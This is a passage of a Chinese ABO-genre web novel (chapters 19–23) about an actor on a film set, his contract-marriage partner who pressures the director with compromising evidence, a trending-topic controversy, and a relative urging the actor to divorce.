就在他想着明天的事时,对面的人却咦了声,筷尖抬起指向他脖间,问:“你脖子上多了条项链?什么时候买的,你喜欢这种银制的?”
他一顿,后脖瞬间烧得绯红,视线下落,指尖挑着锁骨上的链条,把下面的部分拽了出来。
吊坠部分的立体相框在灯光下随着指尖的细微颤抖左右摇晃,簇簇地闪。
“你送的那对袖扣,我放到这里面了,挺好看的,除了上戏的时候我都戴着。”他微别过脸,声音轻了下去,“这样......就不算是浪费钱了吧。”
“你”,宋采舟指尖一颤,差点没拿稳筷子,吃得红润的嘴唇微张又闭上,紧抿了抿,自言自语般说了句,“我那时候只是随口一说。”
可你却放在了心上。
“我知道。”席棹松开手,相框扑进衣领处柔软的布料中,隔着一层,却无端的让那一小片皮肤滚烫,“但这个太贵重了,放在哪儿都不放心,盒子也不方便随身带着。那天我路过一家首饰店,正好看到这个,觉得有缘就买了。”
餐桌上沉寂了片刻,化了一半的碎冰碰到餐盘的边缘,发出当啷的声响,然后慢慢没入下面积起来的浅水中。
像山顶积雪终于融化。
像林间小溪淌过碎石。
像,年少时期的初次心动。
“你......是不是”宋采舟的喉咙像被烤干了水分,勉强挤出一点声音,被窗外骤然呼啸而起的风雨声盖了过去,终究没能说全。
“啊?”
“我说,帮我补个临时标记吧。”
“现在?在这儿?”对面的人显然怔愣了一瞬,眼中透出的却早已不是惊慌或害臊,而是一种担忧,“你紊乱症最近发作了?还是感觉哪里不舒服?”
他用笑压下心口泛起的酸麻,撑着嘴角说:“你忘了?我来探班本来就是要你给补标记以防万一的,你不愿意,那我找舒缓剂帮忙去了。”
“没,不是,你突然说这个,我以为是你哪里不舒服。”
“好啊,那就现在给我补吧。”他放下筷子,绕过餐桌拉起瞪大双眼的席棹就往卧室方向去,不顾对方在后台突然的低喊,“等会儿!我,我还没刷牙!”
“第三节生理知识课,alpha进行标记时增生出的犬齿在分泌信息素的同时,会自动清除覆盖掉其他的味道。你上课不认真,罚你写五百字课后感言。”
卧室门在一阵轻笑中合上了。
20. 第 20 章
卧室的窗帘没拉上,对出去最远能看到的是一片人造湖,夜晚的湖面和夜空相比也就只多了几条银色绸带。那些绸带很快被密集起来的雨点打湿了,糊成一团,忽明忽暗。
宋采舟头靠在身前人比之前薄了不少的肩窝处,微眯着眼看朦胧的景象,后颈被注入温热的信息素,像条薄毯一样裹着全身,恍惚之间他觉得自己和那窗玻璃很像,一头是虚幻的温暖,另一头是真实的冰冷。
“呃”,热流的温暖感觉淡去,皮肉被刺穿的痛感明显起来,他轻呼出声,抬手拍了拍,“疼,松嘴。”
席棹收起犬齿,舌尖舔去那里渗出来的一点血珠,退远了些问:“你是不是只有这里特别怕痛。”
每一次他给临时标记,宋采舟都会有三段反应,颤抖、平息、再颤抖,而且如果自己收得不及时,平息过后的颤抖会比之前那次更加剧烈。
就像他第一次亲眼见到对方紊乱症发作时,被深深迷住的那个痛苦的样子。
“不啊,我全身都特别怕痛。”宋采舟系好扣子,抓过靠枕在腰后一垫,往床头一靠打开投屏,随手挑了部恐怖电影播放,“但是痛习惯了其实也还好,都没有紊乱症发作的时候难熬。”
电影音量被调低了三格,“去帮我拿下平板呗,我不想动。”
他微一皱眉:“你还要处理工作?”视线一直落在对方红透的脖间,那里正隐约传出一股炽热的味道。
他的味道。
“反正还不困,随便干点活吧。”言语间他小腿被轻踹了下,“快去,记得收拾餐桌。”
等人出了卧室,宋采舟神情淡然地看着屏幕上突闪的血腥女鬼脸,眉头都没皱一下,在听到嘶哑的拉风箱似的惨叫时甚至挑起了点嘴角。
影片开头的五分钟里视觉冲击类的镜头至少占了三分半,但这三分半里没有一秒能让他的情绪起波澜,只有当死状凄惨的尸体被前来认领的亲属抱住的时候,他的眼神才闪了一下。
席棹很快就回来了,把手里的平板递出,扭头被屏幕上又一个突脸的画面闪得一激灵,轻啧了声:“你要看着这个工作?”
“有什么不行,当个背景音多能调动肾上腺素,效率更高。”
“怪不得睡那么晚,我看都是你自己作的。”席棹到另一边靠着半躺下,把卷边的剧本翻到马上要拍的那部分,刚准备再揣摩一下台词,就听身旁突然传来轻问。
“上次我给你发的消息看了吗?怎么没回复。”
他一瞬间就反应过来宋采舟指的是什么,实话答说:“没看,怕影响拍戏,等杀青了再说吧,那天就是一时冲动才问你那种事,后来想想其实和我也没什么关系。”
“......”身边人显然沉默了下,“行吧,那我也不提了,如果到时候你还感兴趣,就自己去看吧。”
两人各忙各的,室内没再响起交谈声,已经被调的很轻的恐怖片声音也被越来越大的雨声渐渐掩盖过去,成为了真正的背景音。
他在剧本上空白的地方写写划划,在脑海中模拟对台词走戏的场景,但曾英睿口音浓重的台词一闪来就容易出戏,单是一页内容就重复尝试了不下十遍。
最后因为电影进入高/潮部分,尖叫追打声虽然不响但持续不断,他还是放弃了理完的打算,合上剧本舒展了一下身体,看到墙上时间已经显示快十二点。
“你要睡了吗,客房在......”他一扭头,却发现宋采舟不知道什么时候已经睡着了,头歪在一边,平板向下盖在肚子上,指尖搭着,安安静静的,像个漂亮的小玩偶。
他视线沿着那侧颜向下描摹,落在了拱起的衣领下露出的半边肩膀上,那里有一小点还没有完全淡化的淤青。
已经一个多月了,这痕迹还在。
他眉心微皱,伸手小心地抽出已经完全降温的平板放到一边,把投屏关了,凑近宋采舟耳边问:“在这儿睡,还是我抱你去客房?”
意料之中的没有回应。
他倏然一笑,扶着人肩膀让其平躺下,盖好薄毯,下床去把窗帘合严实了,又轻手轻脚地去洗漱完,才心满意足地躺回床上,关掉最后一盏床头灯,在静下来的黑夜中极轻地说了声,“晚安。”
第二天清晨五点,两人前后睁眼。
“嗯......”宋采舟仰着脖子伸了个懒腰,问道,“我昨晚在你这儿睡着了?怎么不叫醒我。”他就算是刚睡醒的时候,声音也是清澈好听的,很温柔,带着股讲故事般的娓娓道来。
“有什么关系。”席棹的声音就低哑许多,掺杂着休息充分过后的慵懒餍足。
他翻身下床,像往常那样快速用温水洗了头发吹干,给脸上做了基础保湿后打算换身衣服,就看见宋采舟还一脸苦恼地坐在床边。
“怎么了?”
“昨天那身西装上沾了汗,我不想穿,你有小点的衣服吗?”
他蓦然失笑,翻出了一套勉强还算符合要求的卫衣休闲裤扔到床上,“你能穿的就只有这个了,不嫌弃的话拿去吧,但是鞋肯定是没你的尺码。”
宋采舟坦然接过:“有什么好嫌弃的,这种穿着最舒服了,鞋我自有办法。”
临出门时,他才明白对方说的自有办法到底是怎么回事,神色复杂地看着按下电梯的人,问:“你、确定要这么穿出去?”
昨天还一身讲究的人现在身上套着有些宽大的卫衣,肥大的裤子一遮,硬生生涨了十斤的视觉体重,最不搭调的还是脚上那双定制皮鞋,藏在裤腿管口之下,只漏出一点尖头。
“啊,我穿这双开车,到了就换。”宋采舟双指勾着刚从鞋柜里翻出来的厚底硬拖轻轻晃了晃,一脸的理所当然,“我总不能穿着拖鞋开车吧。”
看着他这副老大爷出门遛弯儿的随便样,席棹心里笑了又笑,“行吧,走,我给你指路。”
宋采舟果然如刚才说的那样,到了地方就把皮鞋留在了车上,穿着那双有些泛黄的条纹硬拖四处打量:“你们剧组现在在哪个片场?”
席棹看着他在清晨日光下新奇的像刚出笼小雀的模样,心说这样看上去也不过就是个二十出头的小年轻,哪有几分“宋总”的气势。
“等会儿带你去,我先上去做妆造,隔壁有早饭。”
宋采舟双手往卫衣兜里一插,眼神晶亮地看过来:“我好久没吃过剧组的饭了,你能多拿一份吗?”
结果等早饭拿到手后,又扁着嘴一副不太满意的表情,挑挑拣拣只吃了半个素菜包子和一杯豆浆,剩下的都塞还给了他,“有点油,我还是习惯吃清淡的。”
“放着吧,等会儿我吃。”他微仰头,闭着眼睛任凭小梁在脸上轻拍,嘴动了下,“你要是觉得无聊可以去周围逛逛,别走远就行,一会儿快好了我打你电话。”
“行。”脚步声走远。
等化妆间的门合上后,小梁才轻声问:“席老师,他是你的新助理吗?善善姐去哪儿啦?”
他发出一声闷笑,尽量控制不让自己眼睛抖得太夸张,“你看他长得像助理吗?”
“呃,是不像。”小梁换了根眉笔,“那他是你弟弟?但是你们长得也不太像啊。”
“不是。”他说完这俩字
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就沉默了,实在是因为不知道该怎么形容自己和宋采舟的关系。夫妻?同居的人?还是互帮互助的“医患”关系?
好像都不贴切。
小梁见他话止于此,心思一转,当即以为两人是那种关系,手抖了下,差点把眉尾拉歪,朝门口看了看确定没人进来,才附到耳边悄声说:“那您小心点,听说副导演最讨厌有人带‘玩伴’进来,上次就抓到一个,当场就给人踢出组了。”说完又抓紧继续上妆。
他没顾得上对方的误会,注意力被后半句话吸引了。
朱实茂自己色胚一个去骚扰舒越仪,居然还有脸踢别人?他哪儿来的这么大权力?
虽然疑惑,但他深知这种事不是小梁这样的底层化妆师该掺和的,也就没多问,只浅浅应了声“嗯”。
另一边,宋采舟出了化妆间,双手插兜径直往电梯走去。上楼后电梯门刚打开,就和外面的朱实茂撞了个正着。
“你、什么人?这里不能随便上来。”
他看都没多看对方一眼,就侧过身哼着小调往走廊尽头的房间走。“叩叩”“进”他推门进去,朝长桌边满脸愁容的范正仁笑了下:“范导你好,昨晚我给你发过消息的。”
范正仁一脸懵,不知道从哪儿冒出来这么一号人,还正赶上自己心情一团糟的时候,刚要发作就听见由远及近小跑来的脚步声。
朱实茂气喘吁吁地出现在门外,扶着门框满脸胀红道:“范、范导,这人......”
“出去。”范正仁横眉冷竖,语气竟是十分的僵硬,见朱实茂张口还想说什么,干脆一拍桌子怒喝,“出去!”
宋采舟嘴角一直挂着微笑,目光始终落在里头范正仁的身上。等门外的动静完全消失以后,他伸手关上门,扣上锁,走到桌边在人对面坐下。
“何必为了这么个人动气呢?你明知道他根本不把你放在眼里。”他把玩着手里的车钥匙圈,淡淡地落下一句,“否则怎么敢在你眼皮子底下性骚扰女主角呢?”
范正仁整个人怔了好半晌,然后颓然的松了劲,背弯下去,什么都没说。
“看来范导猜到我是谁了,明人不说暗话,我今天来是找你合作的。”他取下钥匙圈上挂着的一个小扣,双指按在桌上,一拨,那东西就顺着桌面滑到了范正仁的手边。
“里面是你这么多年一直想要却查不到的东西,足够你报朱实茂当年的夺妻之仇,不过开弓没有回头箭,这事儿一旦做了,你和她就再也没可能了。”
宋采舟淡淡地看着对面,范正仁挣扎地绞着双手,五官逐渐狰狞,“那种事情已经无所谓了,我只要他付出代价。”说着就疯了似的伸手去抠那槽里嵌着的数据卡,却在碰到卡槽边缘的一瞬间被电流刺了下,痛叫出声。
“范导可得拿稳了,这东西没有备份,摔一下说不定就读不出来了,我也不会给你第二次机会。”
他有一下没一下的按着手中的电流开关,微扬下巴,垂着眼看中年男人气愤又不得不言听计从的模样,笑说:“朱实茂和曾英睿明目张胆对我的人下手,而你选择了放任,图的是什么自己心里清楚。”
“现在你要的我给你,我要的你也得给我,今天过后就算两清,以后该怎么做,你自己掂量着吧。”
......
宋采舟算算时间,起身离开前看了眼双手抖得不成样子、面色惨白的人,轻飘飘留下一句:“今天的事,希望不要有第三个人知道。”
下楼途中手机果然响起,他没接,走到化妆间门口敲了敲,推门一脸粲然:“席棹,我回来啦,你好了吗?”
21. 第 21 章
上午的拍摄主要围绕席棹和舒越仪,众人准备就绪后迟迟不见导演出现,等了半天却等来了副导演朱实茂。
“范导身体突然不舒服去医院了,我来代班。”
席棹想起小梁说的话,刚想和宋采舟说一声让他离朱实茂远点,就发现对方早已退到了外围,老老实实地站在道具组成员堆里。
除了那张脸以外,整体倒是很融洽。他唇角弯了一下。
“席棹!别走神了!”朱实茂的嗓门依旧大得让人头疼,他只能转头回到机位前待命,暂时把宋小雀儿抛到脑后。
原定一上午能拍完的几场戏在朱实茂的“严格要求”下硬是拖到了将近下午一点,终于收工放饭的时候,他察觉到好几道不太友善的视线,心知这些都是迁怒,却无可奈何。
舒越仪拍了拍他肩膀,浅笑着说:“看来他是铁了心要搞你,这么幼稚的手段都使得出来。几个熟一点的组长副组长那里我会替你说两句的,他们也不是什么傻子,知道人心好坏。”
他没想到舒越仪完全没把之前的事放在心上,有些惊讶:“你不怕他找你麻烦?”
“怕啊,所以我得赶紧找个大腿罩着我,怎么样,你要给我介绍吗?”
眼见女人又变回那副玩世不恭的样子,他挥了挥手,“可别拖我下水了,我只想好好拍完安静走人。”
舒越仪噘着嘴俏皮地笑:“我帮你在曾英睿那儿说好话,结果他现在生我气都不理我了,这么大个损失,你就不拿点什么赔我?”
听出了话里十成十的调侃玩笑,他也没生气,双手一摊:“我就这么个人,你要别的我也拿不出来,你舒大美女真想找还会缺人吗,勾勾手不就一大群人过来任你选了。”
“哈哈哈,你还挺有意思的,我收回之前说你蠢的话。”舒越仪乐得花枝乱颤,都顾不上管理表情,笑完了朝一个方向努了努下巴说,“喏,有人在等你呢,还不快去收拾下班。”
“哎呀你是有半天可以休息了,可怜我还要在这儿瞧那老猪皮脸色。”
席棹刚钻进车里,手中就被塞了个小饭团。
“先垫垫肚子吧,刚才我看那副导演故意卡你戏,怕拖得太久你饿出毛病。”宋采舟又换回了那双和身上衣服格格不入的皮鞋,把座椅往后靠了些,唰唰的翻着手机屏幕。
“连你都看出来了?”他拆开包装袋咬了一口,淡淡的米香,不算什么顶级美味,但足以疗慰他现在筋疲力尽的身体。
宋采舟嗯出一声鼻音,选定一家泰餐启动导航,“他看上去对你很有意见啊,你是不小心做了什么让他记恨的事?”
他赶在车身启动的同时吞下最后一口,扣上安全带说:“嗯,如果帮女演员从他的性骚扰里解围这事儿也算的话。”
“刚才和你搭对手戏的那个?她是女主角吗。”
车窗外的景象热闹起来,停车场外面围了一群举着应援牌幅的粉丝,看上去都很年轻,个个朝气蓬勃。
他眼睛一晃,似乎看见一个和林善善有些像的女孩子,“嗯,她人其实挺好的,和她对戏也挺有意思。”舒越仪总能以一种他意想不到却又很合理的方式完成表演,大概这就是另一种天赋。
宋采舟的声音顿了下,再开口已经换了个话题:“你想要这样的粉丝吗?每天在你上下班的地方等你,给你送手写信。”
他脑子里还在想朱实茂和舒越仪的纠葛,被这么一问,一时没反应过来,本能道:“这也不是我说了算的,有人愿意喜欢我,我就已经很感谢了。”
车子驶离了最拥堵的路段,宋采舟的声音依旧淡淡的:“你会有的,你值得。”
两人一起吃了午饭,又在最近的电影院看了部悬疑片,散场离开的时候正巧在影院大厅看到工作人员撤换宣传海报。
“崔琳,顶级名导啊。”宋采舟看了眼那上面内容,说道,“你知道她吗?”
席棹目光落在主创一栏,“当然知道,那三个月里最难熬的时候我就是看她电影缓解压力的,每一部拍得都很有水平,而且还不会一成不变。”
“你想上她的戏吗?”
“我?”他挑眉思索,轻笑了声,“有机会的话谁不想,但我还差得远呢。”
“那不一定,我看你就很有希望。”宋采舟语气却不似玩笑,隐隐透着股衡量与谋算。
一天后,宋采舟准备启程回S市,临走前借口打个招呼去了范正仁的休息室。休息室长桌边,刚从医院出来还没完全调整好状态的范导战战兢兢地站在一边,等着主位上的人发话。
宋采舟却不急着开口,只是把玩着那一小枚数据卡,在五指间灵巧地转了个来回。
窒息般的安静持续了十来分钟,眼见范正仁额前不断冒出汗珠却不敢抬手去擦,他才放下手里的东西,指尖敲着桌面说:“我计划明年下半年开始投资影视行业,初始团队里预计还有个空位。”
“多谢宋总。”范正仁听出了言下之意,很上道地连忙表示感激,两只手在背后已经捏得发麻,心里更是一阵狂跳。
“欸,客气什么,生意嘛,各取所需。”宋采舟笑眯眯的,“我说了,过了那天就算两清,只要范导你关照好我的人,我当然也不会没事找你麻烦,至于我刚才说的事......”
“没问题!当然没问题!”范正仁一秒都不敢犹豫,“宋总想做什么,我这边都全力配合。”
宋采舟看了他两秒,站起身走过去拍拍他肩膀,凑到那被吓得冰冷的耳边,用气声说:“有范导这句话,我就放心了。”
席棹下戏后刚想去找人,手机就适时地响了起来。“喂,你去哪儿了?不是说今天要回去吗,一起吃个午饭再走吧。”
电话那头宋采舟的声音顿了下才说:“临时有事,我已经在回去路上了,过几天有空再来看你。哦对了,走之前我碰到你那小助理了,你记得让她每天准备好养生茶,别等我下次来看到你又瘦一圈。”
“......”
席棹刚还雀跃的脚步停下来,嘴角的弧度也下去了,盯着半湿不干的地面,连拿手机的力气都松了几分。
“喂?席棹?听见了吗?”
“嗯,知道了,你先专心开车吧,到了给我发个信息。”
电话挂后林善善刚好走来,把水杯往他手里一塞,被他的脸色吓到,有些结巴的问:“席哥,你怎么了,又、又被副导找麻烦了吗?”
他怔住,闻言抬手摸了摸自己的脸:“有这么明显吗。”
拍摄一如往常的继续,范正仁拖着抱恙的身体坚持亲自监督每一个镜头,对他的态度也还是像之前那样只夸不骂,但他隐约之中觉得又似乎和从前并不完全相同。
这天一大清早剧组里就吵嚷不休,他刚一进片场就被几道不怀好意的目光注视,还没等反应过来,又被气冲冲赶来的曾英睿狠狠地撞了一下。
“你干什么?!”林善善惊呼出声。
“我干什么?呵呵,你怎么不问问席棹干了什么?”曾英睿说着用怨毒的眼神盯着他,“热搜
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是你买的吧?不过就是个刚出道的十八线也敢踩着我造势,想用这种手段博出位,你就不怕一口撑死自己!”
“你”林善善刚想上前争论,就被身后一只手拉住了。
他扫了眼周围看热闹的人群,对上曾英睿的眼睛,冷静地开口:“就算有话要问,你也该好好说清楚,上来就给我扣帽子是想让别人先入为主吗?”
“吵什么!”范正仁拨开人群走近,拧着眉在两人身上左右看看,“一大早的想造反吗?这戏还想不想拍了!”
曾英睿整个脖子都是红的,脸上却因为有妆盖着不那么明显,他举起手机朝向两人,根本听不进任何话,气势汹汹道:“你好好看看,这种话题不是你买热度营销自己的手段还会是什么?还有谁能从中得利?”
平台话题榜上高居首位的赫然是“曾英睿用替身”,热度比第二名高了十倍不止,显然不是这个时间点网民能推上去的程度。
“怎么,一大清早的你该不会是要跟我说这是真人讨论出来的热度吧?”曾英睿的表情已经完全绷不住了。
范正仁一把夺过手机破口骂道:“你眼里还有没有剧组规定,谁给你的胆子造谣污蔑同事的。”说着朝周围吼,“看热闹不嫌事大?都散了!”转头对两人说,“都跟我过来!”
休息室里,范正仁按着两人坐下,深呼吸后开口:“曾英睿,把事情经过好好说一遍,要是夹带任何个人情绪你现在就可以滚出组了。”
到了安静人少的地方,曾英睿也终于冷静下来一点,咬了咬唇:“早上做妆造的时候我刷手机想看看粉丝站的路透,结果就看到那个说我用替身的话题突然冲上榜了,点进去一看,后面跟着的全是席棹的图。”
“我承认,当时发烧拍不了落水戏,让他替我下水是理亏,但是他本来也没拒绝啊,这也能算是我的错吗?而且什么叫我用替身,现在H城影视基地禁用替身这件事大家都知道,故意起这么个话题不就是想踩我捧他吗?”
范正仁冷冷扫了一眼,用眼神警告他不要越说越带情绪,然后朝席棹道:“热搜的事你知道吗?”轻飘飘的一问。
“十分钟前刚知道。”席棹眼珠不错地看着曾英睿,丝毫没有闪躲,“我一个刚出道的小公司十八线,花这么大钱和精力去买这种热搜,把第一份工作的剧组推上舆论风口浪尖,然后等着被业内封杀,你是这意思吗?”
范正仁显然也想到了这一层,挥了挥手说:“行了,你先出去吧,我和曾英睿单独聊聊。”
门关上后,曾英睿几乎立刻要跳起来,怒问:“范导,你不能偏心到这份上吧?就这么让他走了?”
范正仁慢悠悠走过去把门锁上,转头,眼里的寒光一闪而过,曾英睿顿时被震的一哆嗦,有些心虚地偏过头。
“你以为我不知道你那天是装发烧吗?你和朱实茂合伙,不就是欺负他是个新人,不想让他有机会出头,才明里暗里用各种手段打压他。好在他心性坚定,没因为那些事误入歧途。”
曾英睿的脸色瞬间变得煞白,抖着肩膀抬头:“你、你知道?那为什么?”
“因为我不想把事情闹大!所以才一直睁一只眼闭一只眼。”范正仁低狠狠道,“你这个蠢货只看到热搜表面,就没发现那话题里连一张他代拍落水戏的图都没有?”
“你的意思是?”曾英睿的眼睛瞬间瞪大了。
“只要一份声明就能扭转全盘,这么好的机会,你居然还和他结仇?你经纪人和公司就没给你上过公关课吗?”
22.第 22 章
曾英睿愣了下:“对啊,对啊!只要他出面说那是他的戏份,本来就不是替身代拍,那这种标题和内容不符的话题大家一眼就能看出来是造谣抹黑,营销号也做不了文章!”
他说着说着又乐的笑起来:“这样的话,就算买热搜的人手里有他拍落水戏的照片也没用,到时候我再让公司买点水军下场,把舆论往我被刻意抹黑这上面带,还能虐一波粉提纯!”
眼看他沉浸在自己的完美计策中无法抽离,范正仁敲了两下桌面,正色道:“那你有没有想过现在跟他闹僵了,要怎么让他主动出面帮你澄清?”
一听这话,他撇撇嘴皱眉,满脸不以为意:“他一个十八线新人,能碰巧和我被绑到一起炒作都算他运气好,有什么理由不答应?”但很快范正仁轻蔑而略带嘲讽的话就浇灭了这种以己度人的自信。
“你也知道他是个新人,在组里任你捏圆搓扁了一个多月,本来就没什么可失去的,袖手旁观再正常不过了。”
曾英睿想了想,居然说:“那,让剧组官方以他的名义发声明也可以吧?”
室内安静了半晌,然后响起范正仁越来越急促的深呼吸动静,他这才意识到自己说了什么蠢话,试图找补:“我的意思是......要不提前给他做角色宣发,还能给咱们剧组拉一波关注度。”
范正仁拳心捏得死紧,一步一步走到他旁边,居高临下的看着还一脸不知所谓的人,心想人还是该多读点书,否则就会长成这副脑袋空空的样子。
“范导?”
范正仁硬生生忍下涌到嘴边的脏话和咒骂,用尽全力也只摆出了嘴角抽搐的微笑:“要你去和他道歉看来是不可能了,那我要你接下去别再刻意为难他,除了对戏就当不认识,做得到吗?”
曾英睿以为这是赞同自己的提议,忙点头:“行!我就当没他这个人,那剧组声明?”
“我会安排,但热搜暂时还不能撤。”范正仁忽略对方茫然的眼神继续说,“现在被热搜吸引来的看客越多,到时候澄清对你、对剧组就越有利,明白吗?”
曾英睿才不在乎剧组会怎么样,只是听到对自己有利,一想到到时舆论反转后自己会成为大家心疼怜爱的中心,席棹又算什么东西,就兴冲冲道:“当然明白!我会和公司报备不让他们太早出手的!”
“嗯,那就好,你去吧。”
“好嘞,谢谢范导!”
等人离开后,范正仁刚才还阴沉的脸色倏然开朗,嗤笑了声“一副空皮囊的蠢货”,掏出手机编辑了一条信息发出,长舒口气。
“曾英睿用替身”的话题在热搜榜上挂了整整两天,又正巧撞上周末,一到放学放假的时候网民八卦热情猛涨,硬是把话题生生顶在前三的位置没下来过,甚至还有曾英睿自己掏钱雇的一批水军在其中浑水摸鱼。
一时间“曾英睿”这个名字讨论度几近破圈,有不少人循迹去挖出他从前的作品,凭着年轻帅气的脸又涨了一波粉。
“怎么这样啊?这些人三观跟着五官走,根本都不当回事的吗?”林善善气得饭都吃不下,要不是那天早上亲眼见过曾英睿气急的样子,她都要怀疑这事儿是对方的自导自演了。
可惜,曾某人在她心里还没那么好的演技。
“气什么,世道向来如此,你第一天知道啊。”席棹有一口没一口的喝着泡好的养生茶,翻着破破烂烂的毛边剧本慢悠悠看着。
“席哥,你一点都不生气吗?”
他轻叹口气:“你平时挺聪明的一个人,怎么到这会儿反而被糊了眼了?”看到气愤的小助理停下敲大腿的动作,他引导着问,“这两天他还有来找咱们麻烦吗?”
林善善摇头:“没有啊。”
“那导演组那边有下什么通知吗?像禁止上平台论坛之类的。”
林善善挠头:“也没有啊。”
“那既然他们都不急,我又有什么好急的?”
林善善当即反应过来,恍然道:“你是说剧组在利用这个机会增加曝光度!”
他合上剧本看了眼时间,语气散漫:“嗯,免费的流量不要白不要。但我想这场闹剧也不会持续太久了,毕竟曾英睿确实没有用替身,我是自愿代班的。”
一语成谶。
赶在周一之前《替身》剧组官方媒体号发布了一则声明,澄清演员曾某并未违反影视基地规定擅用替身,剧组方将对话题最先发起者以网络诽谤罪起诉,同时还放出原话题中那些模糊的席棹照片的清晰版本,官方盖章“这是剧组男二号席某,并非此前造谣者所说的替身演员。”
本以为这件事到此就算了结了,没想到《替身》剧组的热度却是居高不下,只是话题中心从曾英睿变成了席棹。
“席哥!你看这个帖子。”林善善趁着午休时间凑过来,把手机屏幕朝向正打算闭眼休息会儿的人,“自从组里放出你的高清照片之后下面跟了越来越多路透图,已经有人以粉丝站名义创建了专属超话,关注的人还不少呢!”
他眯了下眼,想起之前乔颖好像提过一嘴社媒账号的事,问道:“我的个人号怎么样了?”
林善善嘿嘿一笑,切出去点开自己小号的关注列表,第一个赫然就是带认证的席棹官方账号,“你猜这个号现在有多少粉丝了?”
他想了想,随口报了个数:“两千?”就见林善善伸出一根手指摇了摇,戳进那个主页:“十二万!”
那个挂着“星汇娱乐签约演员”认证的名字底下赫然是十二万多的粉丝数量。他怔住,然后慢慢睁大了眼睛,连困意都完全消失了。
“才两天时间,我眼睁睁看着它从三位数涨到现在的!”林善善还在喋喋不休,他却耳边一阵空鸣,像置身梦境之中。
“席哥,席哥!”等再反应过来时,林善善正一脸惊慌地看着他,“你眼睛怎么红了?是不舒服吗?还是进什么东西了?”
他挥挥手说没事,撑着不眨眼,等湿意被吸收的差不多以后才道:“问问乔颖姐需不需要配合剧组转发那条声明吧。”
在这件事之后,席棹明显感觉到剧组里的人对自己友善了不少,不管是合作的演员还是各组的工作人员,再没有出现过那种或轻视或鄙夷的目光,甚至好几次在片场角落遇到,都会恭恭敬敬的打声招呼,说“席老师好”。
就连曾英睿都没再那么炮仗似的针锋相对,朱实茂也比之前收敛了许多。
一
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切看上去都在往好的方向发展,但他开心不起来,因为宋采舟再没有来过了。
“抱歉啊席棹,最近事比较多有点忙不过来,过两天还要出个差实在抽不出空过去,你放心吧,我已经准备好了舒缓剂,不会有什么问题的。对了,过几天你那里要降温,茶底记得换,泡茶用的药材我已经让快递送去了。”
电话里宋采舟的声音雾雾的,像在什么狭小空间里。
他安静听着,最后很轻地说了句:“你才来了一次。”那头没声了,半晌后他才笑了笑道,“你安心忙你的就是,我现在在组里挺好的,真的,一切都挺好的,就是可惜今年夏天都没好好玩一回,就这么过去了。”
他抬头看夜空,转冬了天总是黑得特别快,才六点就已经没了光亮,也没什么星星,黑沉沉的一片叫人高兴不起来。
“导演喊了,我挂了。”说完他切断了通话,把屏幕黑下去的手机在掌心捏紧,直到几分钟后林善善跑来喊他回片场,才发觉自己手上用劲过度,整只手已然发麻。
十一月底,席棹“虞陵”一角的戏份临近杀青,这天下了夜戏拆了妆发后片场人都散得差不多了,范正仁突然把他叫住:“席棹,你来一下。”
导演棚里就他们两人,范正仁也没绕圈子,直说:“虞陵的戏份临时加了大概四十场,基本都是和女主的对手戏,我问过你经纪人了,说你接下去的工作还没有安排,档期是空的,分散起来穿插着拍大概多个一周左右,不会太紧。”
他没因为自己被加了戏份就感到高兴,而是问道:“范导,合同上签定的两个月,这样不会不合规矩吗?”
累了一天的范正仁没心思多做纠缠,但一想到眼前这人背后的靠山,还是强打起精神解释:“超出的拍摄时间会按照合同上的条款补偿你片酬,可能你经纪人还没来得及告诉你,这事儿已经敲定了,就四十场而已,你就当是在剧组休个假,每天过来两个小时足够了。”
“这不是片酬和时间的问题,您知道我要问什么。”他的语气听上去淡淡的,一双眼睛却是直直盯着范正仁,分毫不移。
大概几分钟的僵持过后,范正仁终于败下阵来,挥手说:“行了行了,告诉你也成,是编剧老师说这个角色的深度还得挖掘,这些戏必须得加观众才能看的明白。”
“如果我没记错的话,当初选角的时候也是那位不在场的编剧对我的表现很满意,所以才敲定了我演虞陵,现在又说这位从未在片场露过面的编剧突然觉得这个角色身上还有可以挖掘的东西,不好意思,这实在超出我可以想象的范围了。”
“这位编剧,到底是什么人?”
范正仁没想到他较起真来居然这么难缠,刚要开口劝他别多问了,就听见背后传来一道轻柔的声音:“范导,你先回去吧,我来和他解释。”
两人一起转头,看到一个高挑瘦削的男人钻进棚里,正揣着兜看他们,一双含笑的桃花眼多情极了。
“宋先生,您怎么亲自过来了?”范正仁一惊,随即明白过来,在对方眼神示意下先一步离开。
宋闻浅笑着看向并不十分意外的人,开口却是一句质问:“那天我问你是不是缺钱,怎么不回复?”
23.第 23 章
席棹看着宋闻施施然走到棚里唯一的灯下,对方连嘴角的弧度都分毫未变。
他转过身和人对视:“宋先生,我想我们的关系还没有熟到可以任由你调查我的隐私。”
宋闻大步一跨坐到了平时范正仁导戏的那把躺椅上,把头靠在小枕上,侧着眼看向站着的人:“哦?这话怎么说,你既然和小舟领了证,那就是我们宋家的人,一家人这么见外做什么?”
男人的笑容和那天在B市分别时如出一辙,甚至更为轻佻。
这张脸,做出这样不把人放在眼里的表情......他强忍着没显露出厌恶,清了清嗓子:“既然你这么说,想必不会介意替我解个惑吧,我能拿到虞陵这个角色,和你、和宋家有没有关系?”
在问出这句话的时候,他把视线紧紧钉在宋闻的脸上。他有信心自己能捕捉到对方任何一点细微的表情变化。
宋闻先是抬起眼皮,露出完整的瞳仁,那双比常人似乎要小一些的瞳孔里透出了毫不掩饰的打量和探究,最后全部转化成了笑意。
“你这么问,是对自己的能力没有信心,还是怀疑我的职业水准,觉得我会因为一点私人交情毁了自己多年积攒的口碑?”
仅仅两次接触,他就发现宋闻这个人很奇怪,笑起来的时候比那些专业的公关侍应更迷惑人的心智,但不笑的时候,又生出十足冷漠无情的判官模样。
可无论笑还是不笑,那双桃花眼里从未有过一丝一毫的惊诧或犹豫。
“......”
“你想听实话是吗?”判官模样消失了,又变回笑吟吟的样子,“就算你是一个误入那天视镜会的素人,只要原模原样完成那段表演,我也还是会选你演虞陵,这么说能明白吗?”
他高悬的心落回胸膛,指尖放松垂下,正打算道谢离开的时候就听到宋闻突如其来的一句:“和小舟离婚吧。”
还没来得及抬起的腿僵在原地,他看到一直姿态放松的人从那张躺椅上站起身,悠然自得的整理了下衣摆,抬眼道:“你要钱,要资源,我都可以给你,我还能保你从此在娱乐圈站稳脚跟,没人再敢轻视你,甚至星汇我也能帮一手。我记得你老板姓裴,年纪不大,似乎是白手起家没什么根基。”
宋闻说着,一步一步逼近,直到站在他的面前,只隔着半臂距离,眼中透出野兽捕猎般的凛冽和兴奋。
